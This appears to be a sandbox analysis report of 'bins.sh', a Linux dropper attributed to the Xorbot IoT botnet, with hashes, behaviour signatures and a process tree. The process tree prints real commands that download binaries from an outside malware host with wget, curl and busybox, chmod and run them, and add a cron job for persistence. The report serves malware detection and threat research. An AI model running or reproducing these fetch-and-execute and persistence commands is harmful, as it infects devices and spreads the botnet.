Analysis
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max time kernel
149s -
max time network
160s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
18-02-2025 04:40
General
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Target
bins.sh
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Size
10KB
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MD5
129dd74106c86f6d4928cda4bb98caa0
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SHA1
5edca1654f4802559af681b6818a0287a3e0021d
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SHA256
cc44fb06029f4ca74d159587bedf7dd8a9b1e8d88c4b7523cc0aa6d751cc9ce1
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SHA512
b0956892881551ac423d01b80701907e123bfae9d470d6925df04eba32d8343003ee1094241a18616af74cce2573009a7f40e60432b4ecbcc39aeb6f29459782
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SSDEEP
192:nSRNW23Cm1QA4b/mRxsJlsP/OwyNH/Cm1QAwb/mRxAJlsP/l:nSRNW2MJlsP/OwyNHEJlsP/l
Malware Config
Signatures
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Detects Xorbot 2 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (577) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 2 IoCs
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Renames itself 1 IoCs
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 7 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- File and Directory Permissions Modification
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/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP./YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
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/bin/rmrm YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi2⤵
- File and Directory Permissions Modification
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/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi./dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi2⤵
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
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/bin/rmrm dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
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Filesize
12KB
MD5464ee04c792bf427eff8d58d6c9949d5
SHA16bcf25079de944aa67a43b7c3b921f6913952837
SHA256cbeaebbb45ec6b45897243acfa815333fa82f350a66fba737e7ca61cb1a596f2
SHA5127c7469ffed1e1262e63a2670ec71753ec83f5428f443f83e13658744a4b3df17697225c094b691f2df1cd14aca183eb5e2554085722770f92b9d8fc7d4a7270e
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
210B
MD5bd87dd3b54d30190c90accec7bc10884
SHA195bd21f0d032335e4ab86106994dec0cabac43ce
SHA256f762f8f6bf50189559dcc034f768444b23d177e3c266fe47ba77f4eada43e628
SHA5128edcdd6e1d25902b3dc5c1d83ecb4060b1aac08e2de6e8fecb2bfbf984f794af108cbd959a544adaa2f82aca79d663cce577ec4b4b63f129d18685cdb6381064